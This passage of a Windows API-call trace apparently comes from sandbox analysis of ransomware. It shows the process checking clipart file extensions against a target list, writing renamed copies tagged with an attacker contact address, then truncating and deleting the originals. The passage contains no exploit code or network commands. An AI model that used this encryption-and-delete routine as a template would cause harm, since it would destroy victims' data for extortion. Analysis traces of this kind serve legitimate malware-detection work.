SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.836] SetEndOfFile (hFile=0x198) returned 1 [0101.838] CloseHandle (hObject=0x198) returned 1 [0101.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0101.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.839] lstrlenW (lpString=".doc") returned 4 [0101.839] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.839] lstrlenW (lpString=".docx") returned 5 [0101.839] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0101.839] lstrlenW (lpString=".pdf") returned 4 [0101.839] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.839] lstrlenW (lpString=".xls") returned 4 [0101.839] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.839] lstrlenW (lpString=".xlsx") returned 5 [0101.839] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0101.839] lstrlenW (lpString=".ppt") returned 4 [0101.839] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.839] lstrlenW (lpString=".zip") returned 4 [0101.839] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.839] lstrlenW (lpString=".rar") returned 4 [0101.839] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.839] lstrlenW (lpString=".bz2") returned 4 [0101.839] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.839] lstrlenW (lpString=".7z") returned 3 [0101.839] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.839] lstrlenW (lpString=".dbf") returned 4 [0101.839] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.839] lstrlenW (lpString=".1cd") returned 4 [0101.839] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.840] lstrlenW (lpString=".jpg") returned 4 [0101.840] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.840] lstrlenW (lpString=".doc") returned 4 [0101.840] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.840] lstrlenW (lpString=".docx") returned 5 [0101.840] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0101.840] lstrlenW (lpString=".pdf") returned 4 [0101.840] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.840] lstrlenW (lpString=".xls") returned 4 [0101.840] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.840] lstrlenW (lpString=".xlsx") returned 5 [0101.840] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0101.840] lstrlenW (lpString=".ppt") returned 4 [0101.840] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.840] lstrlenW (lpString=".zip") returned 4 [0101.840] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.840] lstrlenW (lpString=".rar") returned 4 [0101.840] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.840] lstrlenW (lpString=".bz2") returned 4 [0101.840] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.840] lstrlenW (lpString=".7z") returned 3 [0101.840] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.840] lstrlenW (lpString=".dbf") returned 4 [0101.840] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.840] lstrlenW (lpString=".1cd") returned 4 [0101.840] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0101.840] lstrlenW (lpString=".jpg") returned 4 [0101.840] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.840] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.840] lstrlenW (lpString="J0099167.JPG") returned 12 [0101.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.841] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=43949) returned 1 [0101.841] CloseHandle (hObject=0x198) returned 1 [0101.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0101.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.841] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.841] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.842] GetLastError () returned 0x0 [0101.842] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xabad, lpOverlapped=0x0) returned 1 [0101.844] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xabb0, lpOverlapped=0x0) returned 1 [0101.845] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.845] WriteFile (in: hFile=0x3c8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.845] SetEndOfFile (hFile=0x3c8) returned 1 [0101.845] CloseHandle (hObject=0x3c8) returned 1 [0101.845] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.845] SetEndOfFile (hFile=0x198) returned 1 [0101.942] CloseHandle (hObject=0x198) returned 1 [0101.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0102.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.002] lstrlenW (lpString=".doc") returned 4 [0102.002] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.002] lstrlenW (lpString=".docx") returned 5 [0102.002] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0102.002] lstrlenW (lpString=".pdf") returned 4 [0102.002] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.002] lstrlenW (lpString=".xls") returned 4 [0102.002] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.002] lstrlenW (lpString=".xlsx") returned 5 [0102.002] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0102.002] lstrlenW (lpString=".ppt") returned 4 [0102.002] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.002] lstrlenW (lpString=".zip") returned 4 [0102.002] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.002] lstrlenW (lpString=".rar") returned 4 [0102.002] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.002] lstrlenW (lpString=".bz2") returned 4 [0102.002] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.002] lstrlenW (lpString=".7z") returned 3 [0102.002] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.002] lstrlenW (lpString=".dbf") returned 4 [0102.002] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.002] lstrlenW (lpString=".1cd") returned 4 [0102.002] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.002] lstrlenW (lpString=".jpg") returned 4 [0102.003] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.003] lstrlenW (lpString=".doc") returned 4 [0102.003] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.003] lstrlenW (lpString=".docx") returned 5 [0102.003] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0102.003] lstrlenW (lpString=".pdf") returned 4 [0102.003] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.003] lstrlenW (lpString=".xls") returned 4 [0102.003] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.003] lstrlenW (lpString=".xlsx") returned 5 [0102.003] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0102.003] lstrlenW (lpString=".ppt") returned 4 [0102.003] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.003] lstrlenW (lpString=".zip") returned 4 [0102.003] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.003] lstrlenW (lpString=".rar") returned 4 [0102.003] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.003] lstrlenW (lpString=".bz2") returned 4 [0102.003] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.003] lstrlenW (lpString=".7z") returned 3 [0102.003] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.003] lstrlenW (lpString=".dbf") returned 4 [0102.003] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.003] lstrlenW (lpString=".1cd") returned 4 [0102.003] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0102.003] lstrlenW (lpString=".jpg") returned 4 [0102.003] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.003] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.003] lstrlenW (lpString="J0099172.WMF") returned 12 [0102.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.026] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=58258) returned 1 [0102.026] CloseHandle (hObject=0x3b8) returned 1 [0102.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0102.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.140] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.140] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.141] GetLastError () returned 0x0 [0102.141] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xe392, lpOverlapped=0x0) returned 1 [0102.146] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xe3a0, lpOverlapped=0x0) returned 1 [0102.147] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.147] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.147] SetEndOfFile (hFile=0x3b4) returned 1 [0102.147] CloseHandle (hObject=0x3b4) returned 1 [0102.147] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.147] SetEndOfFile (hFile=0x3b8) returned 1 [0102.149] CloseHandle (hObject=0x3b8) returned 1 [0102.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0102.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.150] lstrlenW (lpString=".doc") returned 4 [0102.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.150] lstrlenW (lpString=".docx") returned 5 [0102.150] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0102.150] lstrlenW (lpString=".pdf") returned 4 [0102.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString=".xls") returned 4 [0102.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.151] lstrlenW (lpString=".xlsx") returned 5 [0102.151] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0102.151] lstrlenW (lpString=".ppt") returned 4 [0102.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.151] lstrlenW (lpString=".zip") returned 4 [0102.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.151] lstrlenW (lpString=".rar") returned 4 [0102.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString=".bz2") returned 4 [0102.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString=".7z") returned 3 [0102.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.151] lstrlenW (lpString=".dbf") returned 4 [0102.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.151] lstrlenW (lpString=".1cd") returned 4 [0102.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.151] lstrlenW (lpString=".jpg") returned 4 [0102.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.151] lstrlenW (lpString=".doc") returned 4 [0102.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString=".docx") returned 5 [0102.151] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0102.151] lstrlenW (lpString=".pdf") returned 4 [0102.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString=".xls") returned 4 [0102.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.151] lstrlenW (lpString=".xlsx") returned 5 [0102.151] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0102.151] lstrlenW (lpString=".ppt") returned 4 [0102.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.151] lstrlenW (lpString=".zip") returned 4 [0102.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.151] lstrlenW (lpString=".rar") returned 4 [0102.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString=".bz2") returned 4 [0102.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.151] lstrlenW (lpString=".7z") returned 3 [0102.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.152] lstrlenW (lpString=".dbf") returned 4 [0102.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.152] lstrlenW (lpString=".1cd") returned 4 [0102.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0102.152] lstrlenW (lpString=".jpg") returned 4 [0102.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.152] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.152] lstrlenW (lpString="J0099179.WMF") returned 12 [0102.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.152] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=9154) returned 1 [0102.152] CloseHandle (hObject=0x3b8) returned 1 [0102.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0102.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.153] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.153] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.153] GetLastError () returned 0x0 [0102.153] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x23c2, lpOverlapped=0x0) returned 1 [0102.159] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x23d0, lpOverlapped=0x0) returned 1 [0102.159] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.159] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.159] SetEndOfFile (hFile=0x3b4) returned 1 [0102.159] CloseHandle (hObject=0x3b4) returned 1 [0102.160] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.160] SetEndOfFile (hFile=0x3b8) returned 1 [0102.161] CloseHandle (hObject=0x3b8) returned 1 [0102.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0102.165] 